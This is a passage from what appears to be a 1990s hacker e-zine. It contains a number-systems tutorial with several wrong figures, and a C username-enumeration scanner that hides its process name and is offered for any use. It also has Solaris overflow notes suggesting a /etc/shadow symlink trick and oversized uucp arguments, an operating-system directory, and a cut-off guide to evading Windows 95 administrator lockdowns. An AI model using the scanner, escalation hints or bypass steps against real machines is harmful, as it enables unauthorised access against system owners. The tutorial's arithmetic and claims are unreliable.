  3271. getting down to the computer level and why this is so important.
  3272.  
  3273. Computers talk with numbers. Zeros, 0, and Ones, 1. Over time we 
  3274. have figured out ways to get them to understand Base 8, or Octal 
  3275. numbers, and Base 16 numbers, Hexadecimal, or HEX as it's more 
  3276. well known as, but they are still based on the 0 and the 1. Well 
  3277. let's start with the basics and move on from there. How do we 
  3278. count in Binary, with 0 and 1? Heck with only 2 numbers how are 
  3279. you going to make a number like 27? In Assembly classes they 
  3280. teach a column method to learn how to count and I like it, so 
  3281. I'll use it to.
  3282.  
  3283. So here we go, I'll briefly go over the 3 different number systems,
  3284.  show you how to read them with a chart and what their bases are 
  3285. along with the number and symbols they use to function. Then I'll 
  3286. show you how they sign numbers to show positive and negative numbers, 
  3287. along with basic adding and subtracting. Then to wrap it up I'll tell 
  3288. you why it's very important for anyone in the hacking scene to 
  3289. understand these very basic operations and what usage it has 
  3290. (can you say Buffer Overflow?).
  3291.  
  3292. Counting Binary
  3293. ------------------
  3294.  
  3295. Binary is the basic low level 0 and 1, the only two things a computer 
  3296. can really understand. It's like and on and off switch, that's all it 
  3297. can do. So they came up with patterns of 0 and 1 that stood for other 
  3298. numbers so we could count and perform other operations all based on 
  3299. the power system for the number 2. Read 2^3 is 2 raised to the 3rd 
  3300. power, or 8, the top row of numbers.
  3301.             
  3302.   16       8       4        2       1 
  3303.  
  3304.  2^4  |  2^3  |  2^2  |  2^1  |  2^0                               
  3305. ----------------------------------------     binary  = base 10 
  3306.                          0     =  0        0   =  0
  3307.                          1     =  1        1   =  1
  3308.                     1     0     =  2       10   =  2
  3309.                     1     1     =  3      1 1   =  3
  3310.                1      0     0     =  4     1 0 0  =  4
  3311.                1      0     1     =  5     1 0 1  =  5
  3312.                1      1     0     =  6     1 1 0  =  6
  3313.                1      1     1     =  7     1 1 1  =  7
  3314.         1       0      0     0     =  8   1 0 0 0  =  8
  3315.         1       0      0     1     =  9   1 0 0 1  =  9
  3316.         1       0      1     0     =  10  1 0 1 0  =  10
  3317.  
  3318.  
  3319. As you see, it's simple enough after you get the patterns down, 
  3320. and if you notice, it's repeating. After going through the cycle, 
  3321. you add another 1 to the end and repeat the cycle for the new ending 
  3322. 1. It may take some time getting used to reading it, but after a few 
  3323. minutes you can pick it up pretty easily. Well this is all fine and
  3324.  dandy, now you can read binary, so lets move on to base 8, or octal.
  3325.  
  3326. Counting Octal
  3327. ------------------
  3328.  
  3329. Well since binary is base 2, and octal is base 8 we need a new set of 
  3330. numbers. Remember binary has 2 numbers, 0 and 1, octal therefore must 
  3331. have 8; 0,1,2,3,4,5,6,7. Much like binary we can make a column chart 
  3332. to read these numbers.
  3333.  
  3334.  4096  512      64      8        1
  3335.  
  3336.  8^4  |  8^3  |  8^2  |  8^1  |  8^0                               
  3337. -------------------------------------------                      
  3338.                             0     =  0                   
  3339.                             1     =  1
  3340.                             2     =  2                 
  3341.                             3     =  3                
  3342.                             4     =  4               
  3343.                             5     =  5              
  3344.                             6     =  6               
  3345.                             7     =  7               
  3346.                     1        0     =  8            
  3347.                     1        1     =  9            
  3348.                     1        2     =  10          
  3349.               1       1        6     =  78
  3350.  
  3351. Notice that the octal number are cubes of the binary numbers, sense 
  3352. 2^3 is 8. i.e. 64 = 8^2 or (2^3)^2. This come in handy when you can't 
  3353. remember a conversion or the number is really weird. As you may of 
  3354. guessed, or may not have, octal numbers use up 8 bits per number, because 
  3355. they are ultimately stored as zeros and ones. The number 7 in octal is 
  3356. just 7, but to store it it takes 8 bits, or 00000111.
  3357.  
  3358. Counting Hexadecimal
  3359. -----------------------
  3360.  
  3361. Hexadecimal, or HEX as it's better known, is base 16. Now as you gather 
  3362. from octal numbers, when you change bases you need a new set of numbers 
  3363. to count with. Base 16 has 16 numbers, like octal has 8 and binary has 
  3364. 2. They are:0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F. Why A-F instead of maybe 
  3365. something else? Well the letters A-F are well known and are in order, 
  3366. so for simplicity the makers of HEX used them. Like octal and binary we 
  3367. can use a column chart to count in HEX.
  3368.  
  3369.  
  3370. 4096     256       16         1
  3371.  
  3372. 16^3  |  16^2  |  16^1  |  16^0                               
  3373. -------------------------------------------                      
  3374.                         0     =  0                   
  3375.                         1     =  1
  3376.                         2     =  2                 
  3377.                         3     =  3                
  3378.                         4     =  4               
  3379.                         5     =  5              
  3380.                         6     =  6               
  3381.                         7     =  7               
  3382.                         8     =  8            
  3383.                         9     =  9            
  3384.                         A    =  10          
  3385.                         B    =  11
  3386.                         C    =  12
  3387.                         D    =  13
  3388.                         E    =  14
  3389.                         F    =  15
  3390.                 1        0    =  16
  3391.                 1        1    =  17
  3392.                 1        E    =  30
  3393.                 8        5    =   133
  3394.  
  3395. As you can see, HEX is a little more complicated and takes practice to 
  3396. get used to. Even when you can effectively understand the numbers, 
  3397. sometimes you still need a calculator or a program, like a HEX editor 
  3398. to read them because of their sizes and complexities.
  3399.  
  3400. Quick Lesson on Conversions
  3401. ------------------------------
  3402.  
  3403. I know that a natural question has to be if there is an easier way
  3404.  to convert between the bases, and luckily there is. I'll give a quick 
  3405. lesson, as it's pretty simple. binary numbers can be 1 bit, and octal 
  3406. numbers can be made up from 3 bits on binary. HEX, likewise, can be made 
  3407. from 4 bits of binary. It's easier to show:
  3408.  
  3409. Lets say we have a number, 62, In binary it's: 0 1 1 1 1 1 0, and 
  3410. to convert to octal, we group it into 3 bit segments, from the right, 
  3411. and read it: 0   (1 1 1)    (1 1 0). We can ignore the leading 0. So 
  3412. in octal we read it in binary, 1 1 1 = 7, and 1 1 0 = 6, so in octal 
  3413. it's 76.
  3414.  
  3415. Let's use 62 again and find HEX. This time we group in 4s, from the 
  3416. right, like so: (0 1 1)  (1 1 1 0), since the first term has only 3 
  3417. terms we can add a leading 0, but it will not make any difference to 
  3418. the outcome. Read the groups, 0 1 1 = 3, and 1 1 1 0 = E, so in HEX 
  3419. it's 3E.
  3420.  
  3421. 0 1 1 1 1 1 0 - Binary
  3422. 0    ( 1 1 1 )   ( 1 1 0 ) - Octal
  3423. ( 0 1 1 )  ( 1 1 1 0 ) - Hex
  3424.  
  3425. If you're clever you can figure out how to convert from any of the 3 
  3426. to any of the others with minimal effort.
  3427.  
  3428.  
  3429. Signed Numbers
  3430. ------------------
  3431.  
  3432. How do computers know if a number is positive or negative if all it 
  3433. sees is zeros and ones? Well for the purpose of this article I'll keep 
  3434. it simple and use binary, as octal and HEX can get very complex. Before 
  3435. we go any further I have to explain what complementary systems are as 
  3436. we are going to be using base complements to determine signs.
  3437.  
  3438. A base complement is when you take the largest number in a numbering 
  3439. system and subtract from it. For example, say we are in normal everyday 
  3440. base 10, and we have the number 1267. If we want to find it's complement 
  3441. we would take the largest number in base 10s number system, a 9, and 
  3442. subtract each number from it.
  3443.  
  3444.   9999
  3445. - 1267
  3446. ----------
  3447.   8732
  3448.  
  3449. So 8732 is the complement to 1267. Lets try binary. Since binary is 
  3450. base 2, then the largest number is 1. Say we have the number, 62 again, 
  3451. in binary, 0 1 1 1 1 1 0, let find it's compliment.
  3452.  
  3453.   1111111
  3454. - 0111110
  3455. ---------------
  3456.   1000001  =  37
  3457.  
  3458. So we see that 37, or 1 0 0 0 0 0 1, is the complement to 62, 
  3459. or 0 1 1 1 1 1 0. Using complements we can sign a number as negative 
  3460. or positive. 
  3461.  
  3462. How? Well all positive numbers will be in true form, like 62 will 
  3463. be 0 1 1 1 1 1 0, but if we had a negative 62, we would use it's 
  3464. complement, or 1 0 0 0 0 0 1. "Hold on" you say, "1 0 0 0 0 1 is 37!". 
  3465. Not anymore, as binary numbers use a signed bit, or the first bit to 
  3466. determine if a number is positive or negative. The first bit is used 
  3467. to tell this, if it's a 1 it's signed negative, if it's a 0 it's signed 
  3468. positive. So how do we get 37? Add a leading 0, 0 1 0 0 0 0 0 1; now 
  3469. that's 37 and 1 0 0 0 0 0 1 is a negative 62. Once the computer sees 
  3470. the leading bit is a 1, it knows it's dealing with a negative number. 
  3471. An easy way to remember how it works, if the first bit is a 1, that 
  3472. find out what is the column value for that bit, so in 62 the first bit 
  3473. would be a 64, or 2^6. Since the binary number 0 1 0 0 0 0 0 0 is 64, 
  3474. and 0 1 1 1 1 1 1 1 is 63, then if we us 1 0 0 0 0 0 1 as negative 62 
  3475. we can think of the first slot as a negative number, or the first bit 
  3476. as the negative and everything else positive. Say the first bit is 
  3477. a negative 64 instead of a positive 64, then subtract 1 because we 
  3478. are in reverse, then subtract for each other 1, the number of that 
  3479. column, so in this example, we would subtract 1 more for the 1 in 
  3480. the first column giving us negative 62. 
  3481.  
  3482. It can get complicated, but it just takes a little practice. Why practice? 
  3483. Why care about all this crap? Beside the fact it will help you later on 
  3484. down the road for those of you planning on going to college to continue 
  3485. your schooling in computers, it's very helpful in hacking to know this to.
  3486.  
  3487. The Buffer Overflow
  3488. ------------------------
  3489.  
  3490. I'm going to make a very simple example of what a buffer overflow is 
  3491. and how it happens and what it has to do with all these numbers and 
  3492. number systems. Well for this articles purpose let use a very 
  3493. simplistic 4 bit number in binary. As some of you know modern buffer 
  3494. overflow attacks are in HEX, or as the exploit code calls it, Assembly, 
  3495. which is actually wrong. Ok, say we have a number, and we want to do 
  3496. some addition, the numbers 3 and 6 using 4 bits.
  3497.  
  3498.    0 1 1 0  =  6
  3499.  + 0 0 1 1  =  3
  3500.  ------------
  3501.    1 0 0 1 = - 7
  3502.  
  3503. Hold on, 3 +  6 = -7? In 4 bits the computer thinks that this number 
  3504. is 9, but 4 bits can't hold the number 9, and it comes up with negative 
  3505. 7. Whammo! Buffer Overflow. 
  3506.  
  3507. Most computers from the 8086 and up have a flag that indicates if a 
  3508. buffer overflow has occured or not, but if the code has not been 
  3509. carefully designed, skillful coders can find and exploit codes that 
  3510. are vurnerable, and they do every day. Filling up buffers with numbers 
  3511. in HEX that a larger then a buffer was designed to handle, crashing 
  3512. programs, racing for root. 
  3513.  
  3514. Conclusions
  3515. ----------------
  3516.  
  3517. I hope I've made clear how to understand binary, octal and HEX number 
  3518. systems; how to read them, how to manipulate them back and forth, and 
  3519. how they sign numbers so one may perform basic mathematical operations. 
  3520. I also hope, if you learned anything, is how important it is to 
  3521. understand these number systems and how they tie into hacking and 
  3522. your future down the road.
  3523.  
  3524. I am a firm believer that if you learn the basics then the hard stuff 
  3525. will be easy....
  3526.  
  3527. Bronc Buster!!!
  3528.  
  3529. Thanks to RLoxley, NeTJaMMr and Perhillion for helping proof this.
  3530.  
  3531. [EOF]
  3532.  
  3533. ═────────────────────────────────────────────────────────────────────────────═
  3534. Mail server username scanner - scan.c
  3535. by memor
  3536.  
  3537. /* Make a usernames lists from a file, to an host, via Fingers..
  3538.    for any use..
  3539.    example:
  3540.    scan userfile mail.server.to.scan.net
  3541.  
  3542.    or to save it in an outpout file :
  3543.    scan userfile mail.server.to.scan.net > result
  3544.  
  3545.    have fun with that little thing...
  3546.  
  3547.    memor/hbs - sjta
  3548. */
  3549.  
  3550. #include <stdio.h>
  3551. #include <stdlib.h>
  3552. #include <unistd.h>
  3553.  
  3554. void main(int argc,char *argv[])
  3555. {
  3556.  
  3557. /* define file handle , strings */
  3558.  
  3559. FILE *nombre1;
  3560.  
  3561. char *nom;
  3562. char *commande;
  3563. char *dnsip;
  3564.  
  3565. int fin;
  3566. int test;
  3567.  
  3568. /* create stacks */
  3569.  
  3570. nom = (char *)malloc(30);
  3571. commande = (char *)malloc(30);
  3572. dnsip = (char *)malloc(50);
  3573.  
  3574. fin=0;
  3575.  
  3576. /* do we have enough arguments ? no ?  */
  3577.  
  3578. if (argc<3)
  3579.     {
  3580.     printf("Scans for usernames with finger.. memor(hbs/sjta) \nusage : %s userfile host\n",argv[0]);
  3581.  
  3582.     /* ok bye.. not enough arguments */     
  3583.  
  3584.     exit(1);
  3585.     }
  3586.  
  3587. /* we have enough.. we can now work :) */
  3588.  
  3589. if (argc>2)
  3590.        {
  3591.        nombre1=fopen(argv[1],"r");
  3592.  
  3593.         /* can we open that file ? /*
  3594.  
  3595.         if(nombre1==NULL) 
  3596.         {
  3597.         printf("Can't open the file!!\n");
  3598.  
  3599.         /* no? ok bye.. :) */
  3600.  
  3601.         exit(1);
  3602.         }
  3603.  
  3604.  
  3605.     /* saving some arguments and hiding the programm */
  3606.  
  3607.     sprintf(dnsip,"%s",argv[2]);
  3608.        sprintf(argv[0],"joe           ");
  3609.        sprintf(argv[1],"              ");
  3610.        sprintf(argv[2],"              ");
  3611.  
  3612.         /* while we reach the end of file :) */
  3613.  
  3614.              while(fin!=1)
  3615.              {
  3616.  
  3617.         /* i catch the username and wait test for the end of file */
  3618.  
  3619.              test=fscanf(nombre1,"%s",&nom[0]);
  3620.  
  3621.              if(test==EOF) fin=1;
  3622.         else {         
  3623.  
  3624.         /* i attempt a finger to see if we got an existant username */
  3625.  
  3626.         sprintf(commande,"finger %s@%s",nom,dnsip);
  3627.         printf("Scanning for [%s] ..\n%s\n",nom,commande);
  3628.         system(commande);
  3629.         }              
  3630.         }
  3631.  
  3632.     /* closing input file of usernames */
  3633.  
  3634.     fclose(nombre1);
  3635.     }
  3636. }
  3637.  
  3638. ═────────────────────────────────────────────────────────────────────────────═
  3639. Vuls in Solaris 2.5.1
  3640. by Shok
  3641.  
  3642. Although there are vulnerabilities known in rlogin and chkey, these are
  3643. unrelated to them.
  3644.  
  3645. rlogin:
  3646. They have the following code (which is pathetic might I add):
  3647.  
  3648. char *p;
  3649. char term[256];
  3650. [...]
  3651. p=getenv("TERM");
  3652. [...]
  3653. strcpy(term, p);
  3654.  
  3655. Yah there is Sun's super security.......... sheesh the obvious fix would
  3656. be a simple strncpy but NO they had to do it the secureless way ;)
  3657.  
  3658. arp:
  3659. Well this is the gethostbyname() vulnerability in solaris 2.5.0 and 2.5.1
  3660. Now as most people know, there was a vulnerability in gethostbyname, and
  3661. it's sploit used rlogin. Well.....if they chmod -s'd rlogin (which would
  3662. break it anyway), you could still use arp, as it is suid (although
  3663. occasionally I set it sgid instead). This is a shortened version of the
  3664. code: 
  3665.  
  3666. if (argc == 2) {
  3667. get(argv[1]);
  3668. exit(0);
  3669. }
  3670.  
  3671. get(host) 
  3672. char *host
  3673. {
  3674. [...]
  3675. hp = gethostbyname(host);
  3676.  
  3677. More great ol' Sun security eh? The sploit code for this is just a
  3678. modified gethostbyname sploit.
  3679.  
  3680. chkey:
  3681. gee let's look at this one.......
  3682. char program_name[256];
  3683. strcpy(program_name, argv[0]); 
  3684.  
  3685. WAHOO!!! THE BEST ONE YET!
  3686. Once again great job sun......
  3687.  
  3688. Although I should make it clear I do like Sun.....but they are really
  3689. ignorant assuming people won't get ahold of the source so they don't have
  3690. to use proper bounds checking....I mean that should be like common sense.
  3691.  
  3692. That's all I am going to mention.....although I will give a few....
  3693. I'm looking at cu and uucp which appear to have an overflow in there
  3694. remote host and commands.......to test this you ought to just make a
  3695. generic program:
  3696.  
  3697. #include <stdio.h>
  3698.  
  3699. void main(int argc, char **arg)
  3700. {
  3701.   unsigned long int i;
  3702.   unsigned long int num;
  3703.   num=atoi(argv[1]);
  3704.   for (;i<num;i++)
  3705.   {
  3706.     putchar('X');
  3707.   }
  3708. }
  3709.  
  3710. Compile that as we'll say testit then do on solaris 2.5.1....
  3711. uucp `./testit 9999`!`./testit 9999` `./testit 9999`!`./testit 9999` or
  3712. whatever the format is......and do the same thing to cu.....I haven't
  3713. tried this yet...this is just based on the source.......and like I said
  3714. it's possible..the code jumps across many functions and I don't have time
  3715. to follow it.......so lemme know the results (shok@sekurity.org, I'm not
  3716. going to give my domain at this time... ;))
  3717.  
  3718. There was a CERT advisory on rdist vulnerability for Sun, however they
  3719. gave enough information to easily find out what the vul was. 
  3720. Here is the vul: 
  3721. I'm not going to put all the code for this because it crosses several
  3722. functions.....but you pass a macro to argv[1] and it first calls a
  3723. makenl() which I guess has something to do with checking if it's a macro
  3724. or something but there is no man page for it and it's not in the source so
  3725. I don't know what it is.....but then argv[1] is passed on to expand with
  3726. this: 
  3727. in expand expstr(which is the vul function) is called as
  3728. expstr(nl->nl_name); and nl->nl_name is argv[1] if it is a macro I'm
  3729. assuming. But this is expstr():
  3730. expstr(s)
  3731. char *s;
  3732. char buf[BUFSIZ];
  3733. [...]
  3734. sprintf(buf, "%s%s%s", s, tp->n_name, tail);
  3735.  
  3736. As described in expand.c.......it appears that you can manipulate
  3737. enviromental variables like SHELL, TERM, etc.....and ~user is also a
  3738. macro..you get the idea
  3739. shchars = "${[*?".....
  3740. E_VARS for expanding variables.......
  3741. E_SHELL...
  3742. E_TILDE......so if you did rdist $SOMEVAR it will recognize the '$' and
  3743. expand that variable.......I haven't been able to test this as the BUFSIZ
  3744. is too big and I get disconnected if I export a variable greater than 1000
  3745. or so (weird heh...)
  3746.  
  3747.  
  3748. This is also related to the message I posted to bugtraq on multiple
  3749. overflows in MH-6.8.3.
  3750.  
  3751. In ruserpass.c, in the function rnetrc().....they have the following
  3752. (which has two vuls):
  3753. char *hdir, buf[BUFSIZ];
  3754. hdir=getenv("HOME");
  3755. [...]
  3756. sprintf(buf, "%s/.netrc", hdir);
  3757.  
  3758. Now there are two problems with this.....
  3759. First of all the obvious....is there is an overflow. Secondly, all one
  3760. would have to do is for example ln -s /etc/shadow $HOME/.netrc and you
  3761. could abuse that. Libc specifically says you shouldn't do this.
  3762.  
  3763. In libcurses, in pr_headers, in print.c there is an overflow in the
  3764. char *terminfo;
  3765. char buf[512];
  3766.  
  3767. terminfo=getenv("TERMINFO")
  3768. [...]
  3769. sprintf(buf, "%s%s%s", terminfo.....    
  3770.  
  3771. So anything that uses libcurses (such as screen), is vulnerable. Anyway
  3772. it's late, I'm tired.
  3773.  
  3774. So that's about all for now.
  3775.             
  3776.                     Enjoy,
  3777.               --==+*~(Shok)~*+==--
  3778.         
  3779. shok@sekurity.org
  3780. HOME PAGE: http://www.janova.org FTP SITE: ftp://ftp.janova.org
  3781.  
  3782.  
  3783. ═────────────────────────────────────────────────────────────────────────────═
  3784. Operating Systems
  3785. by Fucking Hostile
  3786.  
  3787.     There are a lot of Operating Systems out there. It seems that the two 
  3788. major ones are Windows and Linux. Among the average computer user you will 
  3789. find that most of them use Windows 95 or NT. In the computer underground now
  3790. it seems the trend is Linux and its varients. Anyways this article will not
  3791. be about either of those, actually it will have some info on them but that's
  3792. not all. I am writing this with intention to give readers the knowledge of
  3793. all available OS's there are out there. Information on the OS, where to find
  3794. out more about it, and where to get it. Hopefully people will learn about all
  3795. the options they have beyond the trend that is going on out there. This gives
  3796. only a little detail on the OS but at least gives you some ideas to look at.
  3797.  
  3798.  
  3799. - AROS -
  3800.  
  3801. About: The Amiga Replacement OS. Idea started around 1993 when Amiga was at 
  3802. a low point. AROS fully started in the winter of 1995. The goal of AROS is
  3803. to be as compatible as possible to AmigaOS 3.1, ported to different types of
  3804. CPU's,  Binary compatible on Amiga and source compatible on other hardware, 
  3805. and can run as a standalone version which boots directly from harddisk, as 
  3806. an emulation which opens a window on an existing OS to develop software and 
  3807. run Amiga and native applications at the same time and as a link library 
  3808. which allows to create native applications with the comfort of the AmigaOS.
  3809.  
  3810. Current Version: Unknown
  3811.  
  3812. Homepage: http://aros.fh-konstanz.de/aros/
  3813.  
  3814. - BeOS -
  3815.  
  3816. About: In 1990 former former president of Apple's product division, 
  3817. Jean-Louis GassΘe, formed Be. INC. The Be Operating System is a new software 
  3818. system designed for the media and communications-based applications of the 
  3819. next decade. While retaining compatibility with data and network standards in 
  3820. use today, the BeOS jettisons many of the assumptions inherent in older OS 
  3821. architectures to achieve a new level of performance and a significantly 
  3822. simplified programming model. The BeOS features: A True Multitasking, Heavily 
  3823. Multi-threaded System, Symmetric Multiprocessing, An Object-Oriented Design, 
  3824. A Design for Real-Time Media and Communications, and Simplicity.
  3825.  
  3826. Current Version: Unknown
  3827.  
  3828. Homepage: http://www.be.com
  3829.  
  3830. - CHORUS/OS -
  3831.  
  3832. About: The CHORUS/OS family of operating system products has been designed 
  3833. for telecommunications and other real-time embedded systems manufacturers. 
  3834. CHORUS/OS offers a binary family of highly configurable, richly featured, 
  3835. componentized operating system products. When CHORUS operating systems are 
  3836. integrated with CHORUS/COOL ORB, Chorus' distributed real-time embedded 
  3837. object request broker, real-time systems and devices have access and are 
  3838. accessible to any computer, or server in the enterprise, providing management 
  3839. systems in the enterprise with access to data from the embedded world, and 
  3840. giving the embedded world access to application software available from 
  3841. management systems. 
  3842.  
  3843. Current Version: Unknown
  3844.  
  3845. Homepage: http://www.chorus.com
  3846.  
  3847. - FreeBSD -
  3848.  
  3849. About: FreeBSD is an advanced BSD UNIX operating system for "PC-compatible" 
  3850. computers, developed and maintained by a large team of individuals. FreeBSD 
  3851. offers many features today which are still missing in other operating 
  3852. systems, even some of the best commercial ones. Advanced features for 
  3853. performance, security, and even binary compatibility with other popular 
  3854. operating systems. And it's free.
  3855.  
  3856. Current Version: 2.2.2
  3857.  
  3858. Homepage: http://www.freebsd.org
  3859.  
  3860. - NetBSD -
  3861.  
  3862. About: The NetBSD Project is the collective volunteer effort of a large group 
  3863. of people, to produce a freely available and redistributable UNIX-like 
  3864. operating system, NetBSD. NetBSD is based on a variety of free software, 
  3865. including 4.4BSD Lite from the University of California, Berkeley. It runs on 
  3866. a large number of hardware platforms and is highly portable. It comes with 
  3867. complete source code, and is user-supported. 
  3868.  
  3869. Current Version: 1.2
  3870.  
  3871. Homepage: http://www.netbsd.org
  3872.  
  3873. - OpenBSD -
  3874.  
  3875. About: The OpenBSD project was spawned from NetBSD (ie. a member of the 
  3876. 4.4BSD family) and is developed separately. OpenBSD tracks bug reports and 
  3877. source tree changes from the NetBSD and FreeBSD projects fairly closely. Even 
  3878. pieces of code from the Linux projects have been used. OpenBSD has too much
  3879. shit about it to even list so just check out the homepage.
  3880.  
  3881. Current Version: 2.1
  3882.  
  3883. Homepage: http://www.openbsd.org
  3884.  
  3885. - GEOS -
  3886.  
  3887. About: Geoworks designed the GEOS« operating system to enable devices that 
  3888. are graphical, easy-to-use, affordable, feature-rich, and able to support 
  3889. advanced communications. Geoworks believes there are several primary 
  3890. characteristics necessary for system software in these new devices. The 
  3891. operating system must be flexible so that device manufacturers can customize 
  3892. their products for specific markets. The software must deliver high 
  3893. performance without sacrificing efficiency. And users of these devices must 
  3894. be able to connect to standard data sources, including the desktop, corporate 
  3895. network, and Internet services.
  3896.  
  3897. Current Version: Uknown
  3898.  
  3899. Homepage: http://www.geoworks.com/htmpages/sso.htm
  3900.  
  3901. - Inferno -
  3902.  
  3903. About: Inferno was developed by the scientists at Bell Labs, Lucent 
  3904. Technologies' research and development arm. The Computer Science Research 
  3905. Center of Bell Labs created Inferno - this same Center developed UNIX, C and 
  3906. C++ programming languages and workstation technologies. Inferno is a Network 
  3907. Operating System that delivers interactive services through a variety of 
  3908. networks, providing ubiquitous access to resources and information. 
  3909.  
  3910. Current Version: 1.1
  3911.  
  3912. Homepage: http://207.121.184.224/info.html
  3913.  
  3914. - TurboLinux -
  3915.  
  3916. About: TurboLinux 1.0, a new Linux distribution fully compatible with RedHat 
  3917. Linux, some features include Easy Installation and Setup - Hardware 
  3918. components (SCSI, Ethernet, and Video adapters) are automatically detected at 
  3919. installation. TurboDesk - This configurable desktop environment allows 
  3920. customization without editing text files. AutoUpdate - Packages are 
  3921. seamlessly installed onto your system using either the interactive mode or 
  3922. the fully automatic mode.
  3923.  
  3924. Current Version: 1.0
  3925.  
  3926. Homepage: http://www.turbolinux.com
  3927.  
  3928. - Other Linux OS's -
  3929.  
  3930. TurboLinux is one of the newer ones so that is why I mentioned it.. there are
  3931. a lot more tho that can be found at: http://www.linux.org/dist/index.html
  3932.  
  3933. - Microsoft Windows -
  3934.  
  3935. Windows 3.1 - Windows 95, Windows 97, Windows CE, and Windows NT
  3936.  
  3937. You all know about Windows. If not go to: http://www.microsoft.com
  3938.  
  3939. - MINIX -
  3940.  
  3941. About: MINIX is a free UNIX clone that is available with all the source code. 
  3942. Due to its small size, microkernel-based design, and ample documentation, it 
  3943. is well suited to people who want to run a UNIX-like system on their personal 
  3944. computer and learn about how such systems work inside. It is quite feasible 
  3945. for a person unfamiliar with operating system internals to understand nearly 
  3946. the entire system with a few months of use and study. 
  3947.  
  3948. Current Version: 2.0
  3949.  
  3950. Homepage: http://www.cs.vu.nl/~ast/minix.html
  3951.  
  3952. - OS/2 -
  3953.  
  3954. About: IBM's OS. Kind of like Windows except they have less software made for
  3955. them. If it wasn't for that it might not be too bad.
  3956.  
  3957. Current Version: Unknown
  3958.  
  3959. Homepage: http://www.software.ibm.com/os/warp/
  3960.  
  3961. - Plan9 -
  3962.  
  3963. About: Plan 9 is a distributed computing environment assembled from separate
  3964. machines acting as terminals, CPU servers, and file servers. A user works at 
  3965. a terminal, running a window system on a bitmapped display. Some windows are 
  3966. connected to CPU servers; the intent is that heavy computing should be done 
  3967. in those windows but it is also possible to compute on the terminal. A 
  3968. separate file server provides file storage for terminals and CPU servers 
  3969. alike.
  3970.  
  3971. Current Version: Unknown
  3972.  
  3973. Homepage: http://www.ecf.toronto.edu/plan9/
  3974.  
  3975. - Xinu -
  3976.  
  3977. About: Xinu is a small, elegant, multitasking Operating System supporting the 
  3978. following features: Concurrent Processing, Message Passing, Ports, 
  3979. Semaphores, Memory Management, Buffer Pools, Uniform Device I/O, Shell, Tcl, 
  3980. and TCP/IP.
  3981.  
  3982. Current Version: Xinu 7.9
  3983.  
  3984. Homepage: http://willow.canberra.edu.au/~chrisc/xinu.html
  3985.  
  3986. - QNX -
  3987.  
  3988. About: Started off being called 'Quick Unix', the QNX realtime OS offers you 
  3989. all the advantages of a true microkernel. It's small, scalable, extensible, 
  3990. and fast. As a true microkernel OS, QNX starts with a lean core of highly 
  3991. reliable code. It's small enough for ROMable embedded applications, yet 
  3992. powerful enough to run a distributed network of several hundreds of 
  3993. processors.
  3994.  
  3995. Current Version: Unknown
  3996.  
  3997. Homepage: http//www.qnx.com
  3998.  
  3999. - Solaris -
  4000.  
  4001. About: Sun Unix-based user environment, including the Unix operating system 
  4002. and an X11-based window system. Solaris 1.x is a retroactive (marketing?) 
  4003. name for SunOS4.1.x, a BSD-like version of Unix with some SVR4 features. 
  4004. Solaris 2.x (which is what most people mean by "Solaris") includes SunOS5.x, 
  4005. which is an SVR4-derived Unix.
  4006.  
  4007. Current Version: 2.6
  4008.  
  4009. Homepage: http://www.sun.com/solaris/index.html
  4010.  
  4011. ------
  4012.  
  4013. Well that is all I have. There are a lot of others out there and a lot more
  4014. information on them then I have supplied but hopefully this will give some 
  4015. people stuff to check out. Also check out http://www.myos.com and 
  4016. http://www.ugu.com for more info on different OS's. 
  4017.  
  4018. ═────────────────────────────────────────────────────────────────────────────═
  4019. Hacking your way to DOS
  4020. by Devix
  4021.  
  4022. Well, I thought I should write an article for thtj this month so here
  4023. it is... Newbies Guide: Hacking your way to DOS. Unfortunatly your
  4024. access to DOS may be restricted so you can't play your games or hack
  4025. the LAN. This article will attempt to describe many various ways to
  4026. break out of that annoying GUI called windows95 and bring you back to
  4027. DOS.
  4028.  
  4029. There are many ways to protect you from getting to DOS such as using
  4030. policy editor (most common. this can be found on your windows95 cd) or
  4031. some other 3rd party software package. Some of these ways may not work
  4032. so if one doesn't, just try the next.
  4033.  
  4034. 1. The old F8 on boot-up. This one is self explanatory. When you see
  4035. the "Starting Windows 95..." quickly press the F8 button and it may
  4036. bring up a menu that looks like this:
  4037.  
  4038. Microsoft Windows 95 Startup Menu
  4039. ==================================
  4040.  
  4041.    1. Normal
  4042.    2. Logged (\BOOTLOG.TXT)
  4043.    3. Safe mode
  4044.    4. Safe mode with network support
  4045.    5. Step-by-step confirmation
  4046.    6. Command prompt only
  4047.    7. Safe mode command prompt only
  4048.    8. Previous version of MS-DOS
  4049.  
  4050. Enter a choice: 1
  4051.  
  4052. You should choose #6. If everything goes right, you will soon see a
  4053. "C:\". If the menu doesn't show up when you press F8, the
  4054. administrator (or computer teacher) may have disabled this. To re-
  4055. enable it, just fire up notepad and edit "c:\msdos.sys". This file is
  4056. normally a system/hidden/readonly file. The part you want to edit is
  4057. the line that says "BootMulti=0". Change it to "BootMulti=1".
  4058.  
  4059. 2. Using OLE. Just start up any program thats supports object
  4060. embedding such as wordpad and choose "Object..." from the "Insert"
  4061. menu. A fancy little box should pop up. Click on "Create from File"
  4062. and put this as the file name: "c:\command.com". Click OK and you
  4063. should now see an icon stuck in your wordpad document. Double-Click
  4064. the icon and a dos prompt should appear.
  4065.  
  4066. 3. Creating a shortcut in the desktop/start menu. Start any 32-bit
  4067. program that lets you open/save files. Click on "Open..." (or "Save
  4068. As...") from the "File" menu and change to the directory
  4069. "c:\windows\desktop" or "c:\windows\start menu". Right-click in the
  4070. main box and choose "New -> Shortcut" from the menu that pops up.
  4071. Create a shortcut to "c:\command.com" and then look on the
  4072. desktop/start menu for the icon. Use it.
  4073.  
  4074. 4. Command.com from "File Find". Click once on a blank part of the
  4075. taskbar. Press F3. Search for "command.com" from drive "c:". To speed
  4076. this up, unselect "Include subfolders". Click "Find" and when
  4077. command.com shows up in the results area, double-click it.
  4078.  
  4079. 5. Editing ".lnk" files. Just edit one of the
  4080. "c:\windows\desktop\*.lnk" files with a program that will let you edit
  4081. the actual lnk file, not the file it links to. most 16-bit editors
  4082. should work. Just change it like you would with a hex-editor so that
  4083. it links to "c:\command.com" instead.
  4084.  
  4085. 6. Changing shells. Just edit "c:\windows\system.ini" so the line that
  4086. says "shell=Explorer.exe" will say "shell=c:\command.com". Restart the
  4087. computer and you will now have a dos prompt. From dos, type "explorer"
  4088. to get the rest of windows loaded. Change system.ini back when you
  4089. need everything to work how it was.
  4090.  
  4091. 7. "Open with...". Start some 32-bit program. Choose "Open..." from
  4092. the "File" menu and right-click a file while pressing shift. Choose
